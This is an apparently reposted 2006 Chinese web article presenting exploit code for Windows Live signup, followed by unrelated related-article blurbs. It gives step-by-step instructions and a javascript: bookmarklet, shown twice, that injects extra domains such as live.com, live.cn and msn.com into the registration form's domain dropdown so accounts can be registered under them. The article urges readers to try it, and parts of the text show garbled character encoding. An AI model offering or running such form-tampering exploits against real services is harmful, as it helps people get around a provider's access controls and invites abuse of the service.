Windows Live的@live.com域名注冊漏洞 利用代碼
更新時間：2006年12月27日 00:00:00 作者：
又一個Windows Live的@live.com域名注冊漏洞被發(fā)現(xiàn),現(xiàn)在我們只要通過簡單的一段JS代碼就可以給Windows Live的注冊界面添加@live.com地址,讓人驚訝的是,硬塞進(jìn)去的地址竟然可以成功注冊到帳號!又是一次極好的機會,大家快來一起上吧!
Update:更新代碼,提供更多域名,包括live.cn
方法簡單：
1、進(jìn)入這個頁面：http://get.live.com/getlive/overview
2、點擊”立即注冊“按鈕
3、在地址欄粘貼以下文件中的代碼，并回車：
javascript:function r(q){} function s(q){e[q] = new Option(a[q],a[q])}; r(e = document.getElementById("idomain").options);r(d="live.");r(a = new Array("hotmail.com","hotmail.co.uk","msn.com",d+"com",d+"be",d+"co.uk",d+"de",d+"fr",d+"it",d+"nl",d+"cn")); for (i=0;i<a.length;i++){ s(i ) }alert("Success - additional domains added!");
分析后:
javascript:
function r(q){}
function s(q){e[q] = new Option(a[q],a[q])};
r(e = document.getElementById("idomain").options);
r(d="live.");
r(a = new Array("hotmail.com","hotmail.co.uk","msn.com",d+"com",d+"be",d+"co.uk",d+"de",d+"fr",d+"it",d+"nl",d+"cn"));
for (i=0;i<a.length;i++){
s(i )
}
alert("Success - additional domains added!");
Update:更新代碼,提供更多域名,包括live.cn
方法簡單：
1、進(jìn)入這個頁面：http://get.live.com/getlive/overview
2、點擊”立即注冊“按鈕
3、在地址欄粘貼以下文件中的代碼，并回車：
復(fù)制代碼 代碼如下:
javascript:function r(q){} function s(q){e[q] = new Option(a[q],a[q])}; r(e = document.getElementById("idomain").options);r(d="live.");r(a = new Array("hotmail.com","hotmail.co.uk","msn.com",d+"com",d+"be",d+"co.uk",d+"de",d+"fr",d+"it",d+"nl",d+"cn")); for (i=0;i<a.length;i++){ s(i ) }alert("Success - additional domains added!");
分析后:
復(fù)制代碼 代碼如下:
javascript:
function r(q){}
function s(q){e[q] = new Option(a[q],a[q])};
r(e = document.getElementById("idomain").options);
r(d="live.");
r(a = new Array("hotmail.com","hotmail.co.uk","msn.com",d+"com",d+"be",d+"co.uk",d+"de",d+"fr",d+"it",d+"nl",d+"cn"));
for (i=0;i<a.length;i++){
s(i )
}
alert("Success - additional domains added!");
相關(guān)文章
Javascript 閉包引起的IE內(nèi)存泄露分析，js_obj是一個DOM元素的引用，DOM元素它長期在網(wǎng)頁當(dāng)中，不會消失，而這個DOM元素的一屬性2012-05-05
這篇文章主要為大家介紹了開箱即用的開源工具庫xijs示例詳解，有需要的朋友可以借鑒參考下，希望能夠有所幫助，祝大家多多進(jìn)步，早日升職加薪2023-03-03
這篇文章主要介紹了小程序tab頁無法傳遞參數(shù)的方法，小編覺得挺不錯的，現(xiàn)在分享給大家，也給大家做個參考。一起跟隨小編過來看看吧2018-08-08
JS控制靜態(tài)頁面之間傳遞參數(shù)獲取參數(shù)并應(yīng)用的簡單實例
下面小編就為大家?guī)硪黄狫S控制靜態(tài)頁面之間傳遞參數(shù)獲取參數(shù)并應(yīng)用的簡單實例。小編覺得挺不錯的，現(xiàn)在就分享給大家，也給大家做個參考。一起跟隨小編過來看看吧2016-08-08
javaScript實現(xiàn)復(fù)選框全選反選事件詳解
這篇文章主要為大家詳細(xì)介紹了javaScript實現(xiàn)復(fù)選框全選反選事件，文中示例代碼介紹的非常詳細(xì)，具有一定的參考價值，感興趣的小伙伴們可以參考一下2017-09-09
這篇文章主要介紹了JavaScript閉包與作用域鏈,結(jié)合實例形式分析了javascript閉包的具體概念、功能、并對比作用域鏈分析了閉包的相關(guān)使用技巧與注意事項,需要的朋友可以參考下2019-01-01
這篇文章主要介紹了javascript實現(xiàn)隨時變化著的背景顏色的方法，非常的簡單實用，有需要的小伙伴可以直接拿走。2015-04-04
微信小程序js文件改變參數(shù)并在視圖上及時更新【推薦】
這篇文章主要介紹了微信小程序js文件改變參數(shù)并在視圖上及時更新的實現(xiàn)代碼，本文給大家介紹的非常詳細(xì)，具有一定的參考借鑒價值，需要的朋友參考下吧2018-06-06
這篇文章主要介紹了如何基于原生javaScript生成帶圖片的二維碼,文中通過示例代碼介紹的非常詳細(xì)，對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下2019-11-11![自動生成文章摘要的代碼[JavaScript 版本]](http://img.jbzj.com/images/xgimg/bcimg9.png)
自動生成文章摘要的代碼[JavaScript 版本]...2007-03-03